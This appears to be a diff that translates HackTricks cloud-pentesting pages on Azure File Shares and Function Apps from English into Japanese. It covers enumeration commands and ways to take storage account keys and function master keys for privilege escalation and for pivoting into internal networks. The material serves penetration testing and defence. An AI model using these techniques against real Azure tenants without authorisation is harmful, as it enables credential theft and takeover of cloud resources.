{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -79,98 +76,87 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> デフォルトでは、`az` cliはアカウントキーを使用してキーに署名し、アクションを実行します。Entra IDプリンシパルの権限を使用するには、`--auth-mode login --enable-file-backup-request-intent`パラメータを使用してください。
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> 使用するアカウントキーを示すには、`--account-key`パラメータを使用します\
|
||||
> SASトークンを使用してアクセスするには、SASトークンと共に`--sas-token`パラメータを使用します
|
||||
|
||||
### Connection
|
||||
### 接続
|
||||
|
||||
These are the scripts proposed by Azure at the time of the writing to connect a File Share:
|
||||
これらは、執筆時にAzureが提案したファイル共有に接続するためのスクリプトです:
|
||||
|
||||
You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
|
||||
`<STORAGE-ACCOUNT>`、`<ACCESS-KEY>`、および`<FILE-SHARE-NAME>`プレースホルダーを置き換える必要があります。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
```powershell
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
} else {
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Linux"}}
|
||||
|
||||
```bash
|
||||
sudo mkdir /mnt/disk-shareeifrube
|
||||
if [ ! -d "/etc/smbcredentials" ]; then
|
||||
sudo mkdir /etc/smbcredentials
|
||||
fi
|
||||
if [ ! -f "/etc/smbcredentials/<STORAGE-ACCOUNT>.cred" ]; then
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
fi
|
||||
sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
|
||||
|
||||
sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
|
||||
sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="macOS"}}
|
||||
|
||||
```bash
|
||||
open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Regular storage enumeration (access keys, SAS...)
|
||||
### 定期ストレージ列挙 (アクセスキー、SAS...)
|
||||
|
||||
{{#ref}}
|
||||
az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
Same as storage privesc:
|
||||
ストレージの権限昇格と同じです:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイト
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-file-share-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 永続性
|
||||
|
||||
Same as storage persistence:
|
||||
ストレージの永続性と同じです:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,114 +2,113 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
|
||||
**Azure Function Apps** は、**サーバーレスコンピューティングサービス**であり、基盤となるインフラストラクチャを管理することなく、**関数**と呼ばれる小さなコードの断片を実行することを可能にします。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**など、さまざまなトリガーに応じてコードを実行するように設計されています。Function Appsは、C#、Python、JavaScript、Javaなどの複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に柔軟性を提供します。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
|
||||
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能は、Azure Apps(cliでは`webapp`)として作成されたアプリケーションでも使用されます。
|
||||
|
||||
### Different Plans
|
||||
### 異なるプラン
|
||||
|
||||
- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
|
||||
- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
|
||||
- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
|
||||
- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
|
||||
- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
|
||||
- **Flex Consumption Plan**: **動的でイベント駆動型のスケーリング**を提供し、需要に応じて関数インスタンスを追加または削除する従量課金制です。**仮想ネットワーキング**と**事前プロビジョニングされたインスタンス**をサポートし、コールドスタートを減少させ、コンテナサポートを必要としない**変動するワークロード**に適しています。
|
||||
- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、**関数が実行されるときのみコンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。
|
||||
- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
|
||||
- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当てを必要とする**長時間実行されるアプリケーション**に最適です。
|
||||
- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイすることを可能にし、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。
|
||||
|
||||
### **Storage Buckets**
|
||||
### **ストレージバケット**
|
||||
|
||||
When creating a new Function App not containerised (but giving the code to run), the **code and other Function related data will be stored in a Storage account**. By default the web console will create a new one per function to store the code.
|
||||
新しいFunction Appをコンテナ化せずに作成する際、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。
|
||||
|
||||
Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
|
||||
さらに、バケット内のコードを変更すると(保存されるさまざまな形式で)、**アプリのコードは新しいものに変更され、次回Functionが呼び出されると実行されます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
|
||||
> これは攻撃者の視点から非常に興味深いものであり、**このバケットに対する書き込みアクセス**があれば、攻撃者は**コードを妥協し、Function App内の管理されたIDの権限を昇格させる**ことができます。
|
||||
>
|
||||
> More on this in the **privilege escalation section**.
|
||||
> これについては**権限昇格セクション**で詳しく説明します。
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
ストレージアカウント内のコンテナ**`azure-webjobs-secrets`**に、フォルダ**`<app-name>`**内のJSONファイルに保存されている**マスターキーと関数キー**を見つけることも可能です。
|
||||
|
||||
Note that Functions also allow to store the code in a remote location just indicating the URL to it.
|
||||
Functionsは、コードをリモートの場所に保存することも可能で、URLを指定するだけで済みます。
|
||||
|
||||
### Networking
|
||||
### ネットワーキング
|
||||
|
||||
Using a HTTP trigger:
|
||||
HTTPトリガーを使用する場合:
|
||||
|
||||
- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
|
||||
- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
|
||||
- **インターネットから関数へのアクセスを認証なしで提供する**ことが可能であり、IAMベースのアクセスを提供することもできます。ただし、このアクセスを制限することも可能です。
|
||||
- **内部ネットワーク(VPC)**からFunction Appへのアクセスを**付与または制限する**ことも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
|
||||
> これは攻撃者の視点から非常に興味深いものであり、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
### **Function Appの設定と環境変数**
|
||||
|
||||
It's possible to configure environment variables inside an app, which could contain sensitive information. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. These settings are also needed to execute the code from the Storage Account.
|
||||
アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数**`AzureWebJobsStorage`**と**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。
|
||||
|
||||
These env variables or configuration parameters also controls how the Function execute the code, for example if **`WEBSITE_RUN_FROM_PACKAGE`** exists, it'll indicate the URL where the code of the application is located.
|
||||
これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`**が存在する場合、アプリケーションのコードがあるURLを示します。
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Inside the linux sandbox the source code is located in **`/home/site/wwwroot`** in the file **`function_app.py`** (if python is used) the user running the code is **`app`** (without sudo permissions).
|
||||
Linuxサンドボックス内では、ソースコードは**`/home/site/wwwroot`**にあり、ファイル**`function_app.py`**(Pythonを使用している場合)に格納されています。コードを実行するユーザーは**`app`**(sudo権限なし)です。
|
||||
|
||||
In a **Windows** function using NodeJS the code was located in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, the username was **`mawsFnPlaceholder8_f_v4_node_20_x86`** and was part of the **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
**Windows**関数でNodeJSを使用している場合、コードは**`C:\home\site\wwwroot\HttpTrigger1\index.js`**にあり、ユーザー名は**`mawsFnPlaceholder8_f_v4_node_20_x86`**で、**グループ**には`Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users`が含まれていました。
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
### **管理されたIDとメタデータ**
|
||||
|
||||
Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types: System assigned and User assigned.
|
||||
[**VMs**](vms/)と同様に、Functionsは**2種類の管理されたID**を持つことができます:システム割り当てとユーザー割り当て。
|
||||
|
||||
The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
|
||||
**システム割り当て**のものは、**そのIDが割り当てられた関数のみが使用できる管理されたID**です。一方、**ユーザー割り当て**の管理されたIDは、**他のAzureサービスが使用できる管理されたID**です。
|
||||
|
||||
> [!NOTE]
|
||||
> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
|
||||
> [**VMs**](vms/)と同様に、Functionsは**1つのシステム割り当て**の管理されたIDと**複数のユーザー割り当て**の管理されたIDを持つことができるため、関数を妥協した場合は、すべての管理されたIDを見つけることが常に重要です。1つのFunctionから複数の管理されたIDに権限を昇格させることができるかもしれません。
|
||||
>
|
||||
> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
|
||||
> システム管理されたIDが使用されていない場合でも、1つ以上のユーザー管理されたIDが関数に添付されている場合、デフォルトではトークンを取得することはできません。
|
||||
|
||||
It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
|
||||
[**PEASSスクリプト**](https://github.com/peass-ng/PEASS-ng)を使用して、メタデータエンドポイントからデフォルトの管理されたIDのトークンを取得することが可能です。また、以下のように**手動で**取得することもできます:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
|
||||
Note that you need to find out a way to **check all the Managed Identities a function has attached** as if you don't indicate it, the metadata endpoint will **only use the default one** (check the previous link for more info).
|
||||
関数に添付された**すべての管理されたIDを確認する方法を見つける**必要があることに注意してください。指定しない場合、メタデータエンドポイントは**デフォルトのもののみを使用します**(詳細については前のリンクを参照してください)。
|
||||
|
||||
## Access Keys
|
||||
## アクセスキー
|
||||
|
||||
> [!NOTE]
|
||||
> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
|
||||
> ユーザーに関数を呼び出すアクセスを付与するためのRBAC権限はありません。**関数の呼び出しは、作成時に選択されたトリガーに依存します**。HTTPトリガーが選択された場合、**アクセスキー**を使用する必要があるかもしれません。
|
||||
|
||||
When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
|
||||
HTTPトリガーを使用して関数内にエンドポイントを作成する際、関数をトリガーするために必要な**アクセスキーの認証レベル**を指定することが可能です。3つのオプションがあります:
|
||||
|
||||
- **ANONYMOUS**: **Everyone** can access the function by the URL.
|
||||
- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
|
||||
- **ADMIN**: Endpoint is only accessible to users a **master key**.
|
||||
- **ANONYMOUS**: **誰でも**URLを通じて関数にアクセスできます。
|
||||
- **FUNCTION**: エンドポイントは、**関数、ホスト、またはマスターキー**を使用するユーザーのみがアクセスできます。
|
||||
- **ADMIN**: エンドポイントは、**マスターキー**を持つユーザーのみがアクセスできます。
|
||||
|
||||
**Type of keys:**
|
||||
**キーの種類:**
|
||||
|
||||
- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
|
||||
- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
|
||||
- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
|
||||
- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
|
||||
- **関数キー**: 関数キーはデフォルトまたはユーザー定義のいずれかであり、Function App内の**特定の関数エンドポイント**へのアクセスを独占的に付与するように設計されています。
|
||||
- **ホストキー**: ホストキーもデフォルトまたはユーザー定義のいずれかであり、**FUNCTIONアクセスレベル**を持つFunction App内の**すべての関数エンドポイント**へのアクセスを提供します。
|
||||
- **マスターキー**: マスターキー(`_master`)は、すべての関数エンドポイントへのアクセスを提供する管理キーであり(ADMINアクセスレベルを含む)、この**キーは取り消すことができません**。
|
||||
- **システムキー**: システムキーは**特定の拡張機能によって管理され**、内部コンポーネントによって使用されるWebhookエンドポイントにアクセスするために必要です。例としては、Event GridトリガーやDurable Functionsがあり、これらはそれぞれのAPIと安全に対話するためにシステムキーを利用します。
|
||||
|
||||
> [!TIP]
|
||||
> Example to access a function API endpoint using a key:
|
||||
> キーを使用して関数APIエンドポイントにアクセスする例:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basic Authentication
|
||||
### 基本認証
|
||||
|
||||
Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
|
||||
App Servicesと同様に、Functionsも**SCM**および**FTP**に接続してコードをデプロイするための基本認証をサポートしています。これは、Azureが提供する**ユーザー名とパスワードを含むURL**を使用します。詳細については:
|
||||
|
||||
{{#ref}}
|
||||
az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Github Based Deployments
|
||||
### Githubベースのデプロイメント
|
||||
|
||||
When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this:
|
||||
関数がGithubリポジトリから生成されると、Azure Webコンソールは**特定のリポジトリにGithubワークフローを自動的に作成する**ことを許可します。これにより、このリポジトリが更新されるたびに関数のコードが更新されます。実際、Python関数のGithub Action yamlは次のようになります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Yaml</summary>
|
||||
|
||||
```yaml
|
||||
# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action
|
||||
# More GitHub Actions for Azure: https://github.com/Azure/actions
|
||||
@@ -118,95 +117,93 @@ When a function is generated from a Github repo Azure web console allows to **au
|
||||
name: Build and deploy Python project to Azure Function App - funcGithub
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
|
||||
# Optional: Add step to run tests here
|
||||
# Optional: Add step to run tests here
|
||||
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
さらに、**Managed Identity**も作成されるため、リポジトリからのGithub Actionはそれを使用してAzureにログインできます。これは、**Managed Identity**上にフェデレーテッド資格情報を生成することで行われ、**Issuer** `https://token.actions.githubusercontent.com` と **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` が許可されます。
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
|
||||
> したがって、そのリポジトリを侵害した者は、関数およびそれに関連付けられたManaged Identitiesを侵害することができます。
|
||||
|
||||
### Container Based Deployments
|
||||
### コンテナベースのデプロイメント
|
||||
|
||||
Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
|
||||
すべてのプランがコンテナのデプロイを許可しているわけではありませんが、許可されているプランでは、構成にコンテナのURLが含まれます。APIでは、**`linuxFxVersion`**設定は次のようになります: `DOCKER|mcr.microsoft.com/...`、一方、ウェブコンソールでは、構成に**イメージ設定**が表示されます。
|
||||
|
||||
Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
|
||||
|
||||
## Enumeration
|
||||
さらに、**ソースコードは関数に関連するストレージ**アカウントに保存されません。必要ないためです。
|
||||
|
||||
## 列挙
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -218,15 +215,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -242,7 +239,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
